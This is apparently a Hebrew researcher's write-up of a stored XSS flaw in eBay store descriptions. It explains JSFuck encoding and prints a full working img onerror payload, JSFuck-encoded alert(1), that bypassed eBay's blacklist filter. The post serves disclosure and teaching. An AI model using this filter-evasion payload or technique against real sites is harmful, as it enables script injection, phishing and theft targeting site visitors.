הזרקת קוד eBay
בבלוג זה אסביר כיצד איתרתי את ליקוי האבטחה ב-eBay.
eBay הינה פלטפורמה אינטרנטית למסחר אלקטרוני בעלת יותר מ-150 מיליון משתמשים פעילים ברחבי העולם, כך שליקוי אבטחה בפלטפורמה כה עצומה עלול להשפיע על מיליוני משתמשים.
ליקוי אבטחה זה מאפשר להזריק קוד דינמי בשפת JavaScript לחנות ב-eBay וכל מי שהיה נכנס לחנות הזדונית היה מושפע מקוד זה.
באמצעות הזרקת קוד ניתן לבצע מתקפות דיוג ואף לבצע כריית מטבעות דיגיטליים בסתר על גבי המכשיר המותקף.
כך שהתקפה מוצלחת תראה כך:
סרטון הדגמה בטלפון Android
סרטון הדגמה בטלפון IPhone
בעת פתיחת חנות ב-eBay על המוכר למלא תיאור של המוצר במערכת פרסום המוצרים של eBay, באתר eBay עצמו ניתן היה לראות שהמערכת נראית מעט מיושנת ולא מעודכנת לעומת האתר עצמו.
ניסיתי לבצע כמה ניסיונות להזרקת קוד, ובכל אחד מהניסיונות הוצגה ההודעה הבאה: באחד הניסיונות ניסיתי ליצור תמונה שמכילה event handler ללא קוד JavaScript, משהו שנראה כך:
<img src=x onerror="">
הופתעתי לגלות שהודעת השגיאה אינה מופיעה, ואף החנות עלתה בצורה תקינה לאתר, משמע שאכן ניתן להשתמש ב-event handler אך לא ניתן להשתמש ב-JavaScript.
אפשור ה-event handle בתגית ה-Image בתיאור ההודעה אכן נראה מאוד מחשיד במבט חטוף.
כיצד צד השרת מוודא שמדובר בקוד JavaScript אם הוא מאפשר לנו להשתמש ב-event handler?
הסקתי שכנראה מדובר ב-black listing למידע שאנו מזינים בתוך ה-event handler, וזו בחירה אינה נבונה להגנה מפני XSS. לאחר ביצוע מספר ניסיונות שכשלו הגעתי למסקנה שכנראה לא ניתן להזריק קוד JavaScript בטכניקות הרגילות ואצטרך לבצע משהו שהם לא חשבו עליו כגון שימוש בטכניקה לא סטנדרטית הנקראת "JSFuck".
אודות JSFuck
טכניקה מאוד מעניינת לכתיבת קוד JavaScript באמצעות 6 תווים בלבד: !+ שנכתבה על ידי Martin Kleppe.
בתחום בדיקות החוסן משתמשים בטכניקה זו על מנת לעקוף הגנות וחתימות של IDS, IPS ו- WAF.
שימוש ב-6 התווים ב-JsFuck בא לידי ביטוי בצורה הבאה:
- [] - משמש לפנייה לרשימות ואובייקטים, כמו כן משתמשים בסוגריים גם לצורך המרה לטקסט ומספר.
- () - משמש לקריאה לפונקציות והפרדה בין חלקי הקוד.
- + - משמש לשרשור טקסטים, פעולות מתמטיות והמרה למספר.
- ! - משמש להמרה למספר בוליאני.
הלוגיקה עובדת כך:
אם נרצה לכתוב את הספרה 0 נבצע זאת על ידי שימוש בתווים הבאים +[] והתוצאה תראה כך:
קיבלנו 0 מכיוון שניסינו להדפיס את האיבר הראשון ברשימה ריקה, כך שאם עכשיו נרצה להשתמש באותה השיטה ולהדפיס את הבוליאניים - False ו-True נעשה זאת על ידי שימוש בתו "!"
אם נרצה את הספרה 1 פשוט אפשר לעשות המרה לטקסט מ-True ונקבל את הספרה 1 או לחילופין אם נרצה לבצע המרה לטקסט פשוט נבצע +[] וכך הפכנו את הספרה 1 לטקסט:
ניתן לראות שהלוגיקה די פשוטה, אם נרצה לכתוב את המספר 123 אז פשוט נכתוב אותו כטקסט ואז נבצע המרה למספר:
אחרי שלמדנו לכתוב מספרים, כעת עלינו לראות איך אנחנו כותבים תווים באמצעות התווים הללו. הרעיון מאחורי כתיבת תווים הינו:
- הדפסת טקסט כלשהו
- המרת הטקסט למשתנה מסוג טקסט
- שימוש בתווים [] לצורך ניווט בטקסט
לדוגמה, אם נרצה את התווים true נבצע זאת בצורה הבאה, תחילה נדפיס true באמצעות התווים !![] ולאחר מכן נבצע המרה לטקסט על ידי הוספת התווים +[].
נדפיס את הספרה 1 כפי שראינו קודם באמצעות +!![] ונשתמש בסוגריים מרובעים כדי לגשת למקום הראשון וכך נגיע לתו r:
אם נמשיך בשיטה נראה שאנו יכולים להשיג את כל התווים הבאים
“a”, “b”, “c”, “d”, “e”, “f”, “i”, “j”, “l”, “n”, “N”, “o”, “O”, “r”, “s”, “t” and “u”.
על ידי פנייה לכל אחת מהפעולות הבאות:
זה מספיק לנו כדי לכתוב את המילה constructor שבאמצעותה נוכל להשיג את כל שאר האותיות. לדוגמה נניח אם האות “m” חסרה, ניתן לקבל אותה מפנייה ל 0["constructor"] מה שייתן לנו את המילה:
וכן הלאה, התוצאה הסופית מאפשרת לנו לכתוב כל קטע קוד ב-JavaScript באמצעות התווים שהצגתי. כדי לבצע זאת אוטומטית עליכם להשתמש באתר הבא:
http://www.jsfuck.com
באתר ניתן לראות דוגמה לפקודה (alert(1:
אם נעתיק את הדוגמה ונכניס בקוד שלנו ב-eBay נקבל את הקוד הבא:
<img src=x onerror=[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()>
העתיקו אותו לקובץ test.html הריצו ותראו שקוד ה-JavaScript שלכם מתבצע.
כך בעצם עקפתי את מנגנון האימות של eBay והצלחתי להחדיר קוד לחנות המקוונת.
ליקוי אבטחה זה עלול היה לאפשר לפושעי סייבר להשתמש ב-eBay כפלטפורמת ההפצה של תוכנות זדוניות, לגנוב כרטיסי אשראי ולחצוב מטבעות דיגיטליים במחשבי המשתמשים.
כדי לנצל את ליקוי האבטחה, כל מה שעל התוקף היה לעשות הוא ליצור חנות מקוונת ב-eBay עם עסקה אטרקטיבית במיוחד ולהזריק את הקוד הזדוני בפרטי החנות.